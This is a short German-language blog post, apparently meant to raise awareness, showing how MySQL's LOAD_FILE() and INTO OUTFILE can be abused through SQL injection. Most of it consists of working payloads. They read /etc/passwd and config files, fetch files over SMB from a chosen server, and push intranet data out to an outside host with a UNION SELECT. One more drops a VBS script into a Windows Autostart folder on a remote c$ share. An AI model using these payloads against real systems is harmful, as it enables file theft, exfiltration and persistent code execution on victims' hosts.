load_file() spielereien

Da mancher Orts noch das Verständnis fehlt, warum es eben nicht nur ein paar Datensätze betrifft, wenn jemand Zuriff über einen SQL Account hat, möchte ich hier mal kurz aufzeigen welche Möglichkeiten prinzipiell zur Verfügung stehen. Eine sehr schöne und einfache Variante ist mittels load_file() und angeschlossene.

Grundlage ist z.b. folgender Query:

select 1,LOAD_FILE("/etc/passwd");

Wenn man das Ganze in einem SQL Injection verarbeitet, würde unter bestimmten Bedingungen der Browser  dann über die Seite beispielsweise folgendes anzeigen:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

Ok,  da kommt der erste und sagt das File muss Lese- und oder Schreibberechtigungen für Alle oder den Dienst besitzen … hier soll es uns um das Prinzip gehen und ja er hat recht. Im einfachsten Falle suche ich mir bekannte Konfigurationsfiles, .htaccess Dateien etc. und versuche die auszulesen und Butter bei die Fische in 10 von 100 Fällen wird man fündig. Schlampig gesetzte Berechtigungen öffnen einem hier Tür und Tor. Aber an dieser Stelle ist ja noch nicht aller Tage Abend …

select load_file("\\\\[ip | server_name]\\filename");
select 1 INTO OUTFILE "\\\\[ip | server_name]\\filename]";

Sind zwei weitere schöne Möglichkeiten um ans Ziel zu gelangen, im ersteren Falle ziehen wir uns über das SMB Protokoll eine beliebige Datei im zweiten Falle schreiben wir Daten über das SMB Protokoll an einen uns genehmen Platz und hey machen wir uns nichts vor – richtig konfigurierte Firewalls blockieren immer nur den eingehenden Verkehr auf ungenutzten Ports und erlauben immer sämtlichen Verkehr vom Host weg! 😉 Folgendes nicht unalltägliche Beispielszenario: Eine Firma betreibt einen Webserver auf dem Intranet und Webpräsenz zu gleich laufen, sprich ich kann über ein SQL Injection an allen Sicherheitsmechanismen vorbei Daten in das interne Netz schieben oder sie von dort downloaden.

UNION all select 1,2,load_file("\\\\intranet\\filename"),3,4 INTO OUTFILE "\\\\mein_server\\test";

Da höre ich schon wieder den nächsten Quäker, aber ich weiss doch gar nicht welche Netze … doch die MySQL Variablen report_host und oder hostname geben uns Aufschluss, ansonsten sind wir alle schlau genug zu wissen, welche Netze für den privaten Gebrauch reserviert sind. Wir waren gerade beim Netzwerk … da fällt mir doch noch was ein, DNS Abfrage für Datenbänker – host und dig kann jeder. Auch eine Möglichkeit den internen DNS nach Mustern in der Hostvergabe abzufragen um herauszubekommen welche Netze sich in der Tiefe befinden.

select ‘huhu welt.’ INTO OUTFILE ‘\\\\domain.net\\?save.txt’

Eine interessantes Anwendungsbeispiel ist z.B. in das Startverzeichnis eines Windows Host eine .vbs oder .cmd Datei abzulegen …

select ‘msgbox “pew pew”‘ INTO OUTFILE ‘\\\\192.168.0.x\\c$\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\grussundkuss.vbs’;

Ok und wer immer noch nicht genug hat, der läd sich eine Shell oder überschreibt Dateien.